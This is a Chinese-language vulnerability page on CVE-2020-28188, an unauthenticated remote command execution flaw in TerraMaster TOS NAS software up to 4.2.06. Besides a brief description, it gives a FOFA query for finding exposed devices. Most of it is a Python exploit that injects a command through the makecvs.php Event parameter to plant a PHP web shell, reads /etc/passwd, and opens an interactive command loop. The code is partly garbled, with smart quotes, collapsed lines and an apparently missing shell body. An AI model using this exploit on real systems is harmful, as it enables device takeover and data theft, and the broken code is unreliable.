TerraMaster_TOS_RCE_CVE-2020-28188

# TerraMaster TOS RCE CVE-2020-28188

## 漏洞描述

TerraMaster TOS 4.2.06 以下中 makecvs.php 存在任意文件写入，攻击者可以上传恶意文件控制服务器

## 漏洞影响

> TerraMaster TOS < 4.2.06 ## FOFA > “TerraMaster” && header=”TOS”

## 漏洞复现

登录页面如下


存在漏洞的为 **/include/makecvs.php** 中的Event参数

使用EXP文件上传并执行命令


## 漏洞POC

“`python
# Exploit Title: TerraMaster TOS 4.2.06 – RCE (Unauthenticated)
# Date: 12/12/2020
# Exploit Author: IHTeam
# Full Write-up: https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
# Vendor Homepage: https://www.terra-master.com/
# Version: <= 4.2.06 # Tested on: 4.1.30, 4.2.06 #!/usr/bin/env python3 import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser(description="TerraMaster TOS <= 4.2.06 Unauth RCE") parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/") args = parser.parse_args() url = args.url headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} epoch_time = int(time.time()) shell_filename = "debug"+str(epoch_time)+".php" def check_endpoint(url, headers): response = requests.get(url+'/version', headers=headers, verify=False) if response.status_code == 200: print("[+] TerraMaster TOS version: ", str(response.content)) else: print("\n[-] TerraMaster TOS response code: ", response.status_code) sys.exit() def upload_shell(url, headers, shell_filename): payload = "http|echo \"\” >> /usr/www/”+shell_filename+” && chmod +x /usr/www/”+shell_filename+”||”
payload = urllib.parse.quote(payload, safe=”)
print(“[/] Uploading shell…”)
response = requests.get(url+’/include/makecvs.php?Event=’+payload, headers=headers, verify=False)
time.sleep(1)
response = requests.get(url+’/’+shell_filename+’?cmd=cat /etc/passwd’, headers=headers, verify=False)
if (‘root:’ in str(response.content, ‘utf-8′)):
print(“[+] Upload succeeded”)
else:
print(“\n[-] Error uploading shell: “, response.content)
sys.exit()

def interactive_shell(url, headers, shell_filename, cmd):
response = requests.get(url+’/’+shell_filename+’?cmd=’+urllib.parse.quote(cmd, safe=”), headers=headers, verify=False)
print(str(response.text)+”\n”)

def delete_shell(url, headers, shell_filename):
delcmd = “rm /usr/www/”+shell_filename
response = requests.get(url+’/’+shell_filename+’?cmd=’+urllib.parse.quote(delcmd, safe=”), headers=headers, verify=False)
print(“\n[+] Shell deleted”)

upload_shell(url, headers, shell_filename)
try:
while True:
cmd = input(“# “)
interactive_shell(url, headers, shell_filename, cmd)
except:
delete_shell(url, headers, shell_filename)

“`